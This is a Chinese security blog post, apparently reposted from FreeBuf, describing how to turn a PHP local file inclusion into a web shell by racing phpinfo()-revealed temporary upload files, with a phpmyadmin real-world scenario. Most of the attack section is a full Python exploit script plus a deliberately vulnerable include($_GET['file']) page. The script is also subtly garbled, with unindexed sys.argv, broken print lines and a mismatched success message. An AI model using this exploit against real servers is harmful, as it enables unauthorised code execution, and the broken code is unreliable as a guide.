PHP本地文件包含漏洞GetShell（突破极限）
<div id="tinymce-editor" class="content-detail" data-v-0192575a=""><div>
<p>让我们突破重重苛刻环境GetShell，文中有以phpmyadmin包含漏洞做演示。</p>
<p>PS：本文仅用于技术讨论与分析，严禁用于任何非法用途，违者后果自负。</p>
<h2 id="h2-2">漏洞背景 </h2>
<p>当您在发现PHP本地文件包含漏洞的时候，却尴尬于没有上传点，或者受到base_dir的限制，可以尝试用如下操作进行突破。</p>
<h2 id="h2-3">利用条件</h2>
<p>1.存在PHP文件包含漏洞</p>
<p>2.存在PHPINFO泄漏页面,或者其他debug泄漏,获取tmp_name值</p>
<h2 id="h2-4">漏洞复现</h2>
<blockquote>
<p> 演示环境：Windows + php 5.6 </p>
</blockquote>
<h2 id="h2-5">0x01:PHP文件上传</h2>
<p>example：</p>
<pre><code><?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file";
}
?></code></pre>
<p>上面的例子在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本，但是并没有保存，</p>
<p>上传文件名以php + random(6) 进行拼接</p>
<p>在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件</p>
<p>这个文件在生成的瞬间又被删除，利用条件竞争进行包含 </p>
<h2 id="h2-6">0x02:获取临时文件名</h2>
<p>phpinfo() 会打印出所有请求的变量，所以我们只需要向phpinfo 发送 上传文件的数据包，就可以获取到临时文件名</p>
<p><img src="https://image.3001.net/images/20200408/1586312137_5e8d33c93e944.png!small"></p>
<p>但是文件删除的速度很快，导致条件竞争很难利用，通过学习P牛师傅的文章，</p>
<p>需要用到条件竞争，具体流程如下：</p>
<blockquote>
<p>1.php默认的缓冲区大小为4096，每次返回的socket连接为4096字节</p>
<p>2.因为phpinfo 会打印出所有接收的数据，我们需要发送垃圾数据，让Response回显的内容很大</p>
<p>3.利用原生的socket 建立连接，控制返回，每次只读取4096字节，只要获取到文件名，就立马发送第二个数据包</p>
<p>4.此时第一个socket连接并没有结束，所以可以利用这个时间差，进行条件竞争，利用文件包含漏洞进行getshell</p>
</blockquote>
<h2 id="h2-7">复现</h2>
<p>phpinfo.php</p>
<pre><code><?php phpinfo();?></code></pre>
<p>lfi.php</p>
<pre><code><?php
$a=$_GET['file'];
include($a);
?></code></pre>
<p>利用脚本，windows 环境下 //我这边是windows 环境测试，主要修改切片获取的文件名，然后根据具体实战环境去修改REQ1 REQ2</p>
<pre><code>#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r
<?php file_put_contents('aaa.php','<?php phpinfo();?>');?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=aqf2ev7vo5puq7bpbnihcs0pbdanfo1j; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /ec.php?file=%s HTTP/1.1\r
Cookie: xxxx\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index(" =&gt; ")
fn = d
print(fn)
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
print(lfireq % (fn, host))
print(d)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print
"\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find(" =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print
"found %s at %i" % (d, i)
# padded up a bit
return i + 256
def main():
print
"LFI With PHPInfo()"
print
"-=" * 30
if len(sys.argv) < 2:
print
"Usage: %s host " % sys.argv
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv)
except socket.error, e:
print
"Error with hostname %s: %s" % (sys.argv, e)
sys.exit(1)
port = 80
try:
port = int(sys.argv)
except IndexError:
pass
except ValueError as e:
print
"Error with port %d: %s" % (sys.argv, e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv)
except IndexError:
pass
except ValueError, e:
print
"Error with poolsz %d: %s" % (sys.argv, e)
sys.exit(1)
print
"Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print
"Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print
"Woot! \m/"
else:
print
":("
except KeyboardInterrupt:
print
"\nTelling threads to shutdown..."
e.set()
print
"Shuttin' down..."
for t in tp:
t.join()
if __name__ == "__main__":
main()
</code></pre>
<p>GetShell:</p>
<p><img src="https://image.3001.net/images/20200408/1586314714_5e8d3dda856dc.png!small"></p>
<p>参数： target_host port thread </p>
<p>此时的aaa.php 并不存在，我将写入一个aaa.php 内容为</p>
<p><img src="https://image.3001.net/images/20200408/1586314740_5e8d3df40ce12.png!small"></p>
<p>Run: </p>
<p><img src="https://image.3001.net/images/20200408/1586313956_5e8d3ae4cc9aa.png!small">可以看到，temp已经产生了临时文件，（手快抓到的，临时文件会很快删除）</p>
<p>刷新访问 aaa.php</p>
<p><img src="https://image.3001.net/images/20200408/1586314595_5e8d3d638f10c.png!small"></p>
<p>实战场景：</p>
<p>默认phpmyadmin,加phpinfo 探针（某主机默认建站环境）</p>
<blockquote>
<p>1.利用phpmyadmin 的文件包含漏洞，</p>
<p>2.通过探针页面，发送上传包，获取临时文件名，</p>
<p>3.条件竞争 getshell</p>
</blockquote>
<p>（有大哥可能会问我，为什么不包含日志等，因为我遇到了open_basedir，限制很死）</p>
<p>踩坑日记：</p>
<p>mysql写在tmp的文件,www用户无权限读取。</p>
<p>open_basedir 限制php包含路径。</p>
<p>无上传点，所以利用该漏洞进行突破极限~</p>
<p>PY：记得把py脚本改改，切片在windows下获取文件名 会踩坑，用re就好了，有点懒，我就简单改了一下临时用，大哥们操作的时候记得改一下。</p>
<h2 id="h2-8">参考</h2>
<blockquote>
<p>公众号:EDISEC 漏洞挖掘(具体链接好像被删了.....）</p>
<p>https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf</p>
<p>https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md</p>
</blockquote>
</div>
</div>
<div class="other-panel" data-v-0192575a=""> </div>
<div class="tags-panel" data-v-0192575a="">
<p data-v-0192575a=""><span data-v-0192575a="">本文作者：echod1， 来自 <span data-v-0192575a="">FreeBuf</span></span></p>
</div><br><br>
来源：https://www.cnblogs.com/0daybug/p/13494550.html
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